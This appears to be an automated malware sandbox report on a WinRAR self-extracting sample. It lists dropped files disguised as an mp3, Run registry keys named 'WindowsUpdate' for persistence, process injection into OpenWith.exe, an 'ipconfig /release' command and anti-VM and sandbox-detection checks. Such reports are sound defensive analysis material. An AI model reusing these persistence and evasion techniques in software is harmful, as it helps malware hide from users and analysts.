Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: ngPebbPhbp.exe, 00000000.00000000.1695435766.0000000000B3C000.00000002.00000001.01000000.00000003.sdmp, ngPebbPhbp.exe, 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: wkernel32.pdb source: OpenWith.exe, 0000000F.00000003.1934628698.00000000058C0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934512366.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: OpenWith.exe, 0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: OpenWith.exe, 0000000F.00000003.1933709794.0000000005990000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1933480930.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb, source: qwlvpmrupf.mp3, 00000007.00000003.1924745407.000000000113D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000000.1924462508.00000000005C2000.00000002.00000001.01000000.0000000C.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2054601563.000000000182C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2185950312.0000000001A71000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2271006709.0000000001493000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: OpenWith.exe, 0000000F.00000003.1934031698.00000000057A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934260975.0000000005940000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: OpenWith.exe, 0000000F.00000003.1933709794.0000000005990000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1933480930.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: OpenWith.exe, 0000000F.00000003.1934031698.00000000057A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934260975.0000000005940000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: qwlvpmrupf.mp3, 00000007.00000003.1924745407.000000000113D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000000.1924462508.00000000005C2000.00000002.00000001.01000000.0000000C.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2054601563.000000000182C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2185950312.0000000001A71000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2271006709.0000000001493000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: OpenWith.exe, 0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: OpenWith.exe, 0000000F.00000003.1934628698.00000000058C0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934512366.00000000057A0000.00000004.00000001.00020000.00000000.sdmp

Source: ngPebbPhbp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: ngPebbPhbp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: ngPebbPhbp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: ngPebbPhbp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: ngPebbPhbp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_00375D78 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

7_2_00375D78

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_6003703

Jump to behavior

Source: ngPebbPhbp.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B26680 push ecx; ret	0_2_00B26693
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B25773 push ecx; ret	0_2_00B25786
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003C0330 push edi; ret	7_2_003C0333
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00390E06 push ecx; ret	7_2_00390E19
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_0038DBFE push eax; iretd	7_2_0038DC01
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05563170 push ecx; iretd	14_2_0556317C
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05563130 pushad ; ret	14_2_05563138
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_055651E2 push eax; retf	14_2_055651F1
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05563C62 push es; retf	14_2_05563C91
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05563C95 push es; retf	14_2_05563C91
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05561F50 push eax; retf	14_2_05561F51
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05565777 push esi; ret	14_2_05565782
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_055637A2 push ebp; iretd	14_2_055637A3
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05564E69 push ebx; iretd	14_2_05564E6A
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05565A80 push edx; ret	14_2_05565A81
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_03284B00 push edx; ret	15_3_03284B01
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_03282D15 push es; retf	15_3_03282D11
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_032821B0 pushad ; ret	15_3_032821B8
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_032821F0 push ecx; iretd	15_3_032821FC
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_032847F7 push esi; ret	15_3_03284802
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_03280FD0 push eax; retf	15_3_03280FD1
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_03282822 push ebp; iretd	15_3_03282823
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_03284262 push eax; retf	15_3_03284271
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_03283EE9 push ebx; iretd	15_3_03283EEA
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_03282CE2 push es; retf	15_3_03282D11
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A5FF00 push eax; ret	15_2_05A5FF2E
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DE0332 push edi; ret	16_2_00DE0333
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB0E06 push ecx; ret	16_2_00DB0E19
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DADC00 push eax; iretd	16_2_00DADC01
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_01BF61A3 push CF1CE871h; iretd	17_2_01BF61AA
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_01BF602F push D090E871h; iretd	17_2_01BF6036

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	File created: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	File created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	File created: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	File created: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe.exe	Jump to dropped file

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	File created: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run WindowsUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run WindowsUpdate	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdate	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdate	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_004025A0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	7_2_004025A0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_0038FC8A GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	7_2_0038FC8A
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E225A0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	16_2_00E225A0
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DAFC8A GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	16_2_00DAFC8A

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM autoit script

Source: Yara match	File source: Process Memory Space: qwlvpmrupf.mp3 PID: 7640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwlvpmrupf.mp3.exe PID: 8072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwlvpmrupf.mp3.exe PID: 8188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwlvpmrupf.mp3.exe PID: 4092, type: MEMORYSTR

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: RegSvcs.exe PID: 7940, type: MEMORYSTR

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\OpenWith.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\OpenWith.exe	API/Special instruction interceptor: Address: 5A6A83A

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2076809860.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2079814695.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076956481.00000000017FB000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077127799.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000002.2301475753.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2214116379.0000000001A34000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2214030847.0000000001A25000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215974566.0000000001A38000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2212858946.00000000019CD000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2216069254.0000000001A3A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213569719.00000000019D0000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000002.2217801117.0000000001A3B000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213912161.0000000001A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE)_M
